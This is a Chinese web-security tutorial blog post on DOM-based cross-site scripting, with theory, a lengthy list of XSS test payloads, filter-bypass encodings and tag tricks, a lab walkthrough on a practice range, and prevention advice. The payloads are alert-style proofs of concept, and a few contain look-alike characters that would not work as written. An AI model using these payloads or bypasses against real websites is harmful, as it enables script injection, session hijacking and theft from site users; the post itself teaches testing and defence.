Web安全基础学习:XSS跨站脚本漏洞之DOM型XSS

理论基础

  • DOM型XSS

    DOM全称Document Object Model,使用DOM可以使程序和脚本能够动态访问和更新文档的内容、结构及样式。DOM型XSS是非持久型XSS,且不与后台服务器产生数据交互,而是通过JS修改网页的DOM来执行恶意脚本进行攻击。注意,DOM型XSS与反射型和存储型最大的区别在于,DOM型XSS不经过服务端,全部的攻击过程都在客户端完成。

  • DOM介绍

    DOM是HTML和XML文档的编程接口。它不同于把html源码在浏览器窗口当做页面或使用文本编辑器当做纯文本展示,它是对文档的另一种结构化的表述。DOM把文档的所有节点都解析为一个对象,并提供了一些属性和方法来描述它们。

    为了更深入的理解DOM型XSS,请先了解什么是DOM:

    1. CSDN-DOM 简介 | 深入了解DOM
    2. CSDN-DOM是什么(DOM的节点类型)
  • DOM型XSS攻击步骤
    1. 攻击者找到一个可被用户访问的页面,该页面包含有漏洞的 JavaScript 代码或由用户输入直接生成的 DOM 结构。
    2. 攻击者通过某种方式,例如发送特制的 URL 或通过篡改页面内容的方式,将恶意代码注入到页面中。
    3. 用户在浏览器中访问被注入恶意代码的页面时,浏览器解析并执行了这些代码,从而触发了攻击。
    4. 恶意代码在用户的浏览器中修改了页面的 DOM 树结构,通过操作 DOM 元素和属性,攻击者可以实现各种攻击行为,如盗取用户信息、篡改页面内容等。
  • XSS攻击示例(GET传参)
    1. 攻击者针对www.example.com的一个正常接收GET传参链接进行测试:

      http://www.example.com/search?query=pilot

    2. 将参数值修改为JS弹窗代码进行测试:

      http://www.example.com/search?query=<script>alert(123)</script>

    3. 若该参数未经处理直接拼接到JS中,则会直接执行弹窗代码。若将弹窗代码修改为恶意攻击代码,则会产生严重安全问题。

  • XSS攻击的危害

    盗取用户登录凭证(Cookie)、劫持用户会话、修改网页内容、网页挂马、恶意重定向、Dos攻击、钓鱼攻击、XSS蠕虫攻击等。

  • XSS攻击常见测试Payload

    <script>alert(123)</script>
    <script>`xss`</script>
    <script>alert(/xss/)</script>
    <script>prompt(1);</script>
    <script>confirm(1);</script>
    <script>setTimeout(alert(1),0)</script>
    <script>alert(String.fromCharCode(49,49))</script>
    <script>onerror=alert;throw 1337</script>
    <script///>alert(123)</script>
    
    <img src=1 onerror=alert(1)>
    '"><iMg SrC=x OnErRoR=alert(1)>{{7*7}}
    <img/src="xss"οnerrοr=alert`1`>
    
    <input onfocus="alert('xss');">
    <input οnblur=alert("xss") autofocus><input autofocus> //竞争焦点,从而触发onblur事件
    <input onfocus="alert('xss');" autofocus>
    <input type="image" formaction=JaVaScript:alert(0)>
      
    <svg οnlοad=alert("xss");>
    <svg/οnlοad=prompt(1);>
      
    <iframe οnlοad=alert("xss");></iframe>
    <IFRAME SRC="javascript:alert(29);"></IFRAME>
    
    <video><source onerror="alert(1)">
    <audio src=x οnerrοr=alert("xss");>
      
    <body onload=prompt(1);>
    <body background="javascript:alert(1)">
    
    <a onmouseover=alert(1)>M
    <a onclick=alert(1)>M
    <a href=javascript:alert(1)>M
    <a href=javasc&#114;ipt:%61%6c%65%72%74%28%31%29>M
    <a href="javascript:alert('test')">link</a>
    
    <div onclick="alert('xss')">
    <div onmouseenter="alert('xss')"> 
    
    <form/action=javascript:alert(22)><input/type=submit>
    <form onsubmit=alert(23)><button>M
    
  • XSS攻击常见绕过手法

    <script>\u0061\u006C\u0065\u0072\u0074(1)</script>
    <scr<script>ipt>alert("XSS")</scr<script>ipt>
    <sCrIpt>alert(/xss/)</ScRipt>
    %3cscript%3ealert("XSS");%3c/script%3e
    <x>%00%00%00%00%00%00%00<script>alert(1)</script>
    
    %3CsCrIpt%3Ealert(%2Fxss%2F)%3C%2FScRipt%3E
    %3c%73%43%72%49%70%74%3e%61%6c%65%72%74%28%2f%78%73%73%2f%29%3c%2f%53%63%52%69%70%74%3e
    %253CsCrIpt%253Ealert(%252Fxss%252F)%253C%252FScRipt%253E
    
  • 通过不常见的标签绕过

    <select onfocus=alert(1)></select>
    <select onfocus=alert(1) autofocus> //通过autofocus属性执行本身的focus事件
    
    <details open OntogGle="alert(1)">
      
    <video><source onerror="alert(1)">
    <audio src=x οnerrοr=alert("xss");>
      
    <textarea οnfοcus=alert("xss"); autofocus>
      
    <marquee onstart=alert(1)>hack the planet</marquee>  //Chrome不行,火狐和IE都可以
    
    <style onload=alert(1) />
    
    <object data="javascript:alert(document.domain)">
    
  • XSS攻击的预防
    1. 输入合法性验证:在服务端对用户输入的数据进行合法性验证,如检查输入是否符合指定格式,排除恶意字符等。
    2. 转义特殊字符:在网页中用户输入的内容需要使用转义字符,例如将 < 转义成 <,将 > 转义成 >,避免浏览器将这些字符误解为标签等。
    3. 设置HTTP头部:设置HTTP头部,包括Content-Security-Policy、X-Content-Type-Options、X-XSS-Protection等,来使浏览器拦截来自第三方资源的恶意脚本。
    4. 使用脚本过滤器:使用脚本过滤器,如Google的Closure Library和jQuery库等,能够对来自用户的数据进行过滤和检查。
    5. 限制cookie:限制cookie只能在HTTPS连接下使用,并使用HttpOnly标识确保cookie不能通过JavaScript代码访问。

实践学习

漏洞环境以Pilot靶场为例:下载地址与部署教程

  1. 进入漏洞页面后,在输入框输入跨站脚本payload:

    l3-1

  2. 发现<script>标签无法触发XSS,使用<img>标签进行测试:

    l3-2

  3. 成功进行XSS,除此标签外,以下标签也可以在本题中XSS:

    • <input onfocus="alert('xss');">
    • <iframe onload=alert("xss");></iframe>
    • <audio src=x onerror=alert("xss");>
    • <a onclick=alert(1)>M
    • <div onclick="alert('xss')">
    • <svg onclick="alert('xss')">
    • <form/action=javascript:alert(22)><input/type=submit>
    • ……
  • 24
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
跨站脚本攻击(Cross-Site Scripting,XSS)是一种常见的网络安全漏洞,攻击者利用这个漏洞向网站中注入恶意代码,并在用户浏览器上执行。这种攻击通常发生在存在输入输出的网页应用程序中。 XSS攻击主要分为三种类: 1. 存储XSS:攻击者将恶意代码存储在目标网站的数据库中,当其他用户访问该网站时,恶意代码被返回并在用户浏览器中执行。 2. 反射XSS:攻击者构造一个包含恶意代码的URL,并将其发送给目标用户。用户点击链接后,恶意代码从URL中获取并在用户浏览器上执行。 3. DOM-based XSS:攻击者通过修改网页的DOM结构来执行恶意代码,不需要向服务器发送请求。这种类XSS攻击主要基于客户端脚本DOM文档对象模。 为了防止XSS攻击,开发人员可以采取以下几种措施: 1. 输入验证和过滤:对用户输入的数据进行验证和过滤,确保不允许包含恶意代码。 2. 输出编码:在将数据输出到网页上时,使用适当的编码方式(如HTML实体编码或JavaScript转义)来防止恶意代码的执行。 3. 使用安全的API:避免使用不安全的API,特别是将用户输入作为参数的API。例如,使用textContent替代innerHTML可以防止XSS攻击。 4. 设置HTTP头部:通过设置X-XSS-Protection和Content-Security-Policy头部,可以进一步加强网站的安全性。 请注意,这只是一些常见的防御措施,具体的应对措施还需要根据实际情况和开发框架来确定。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值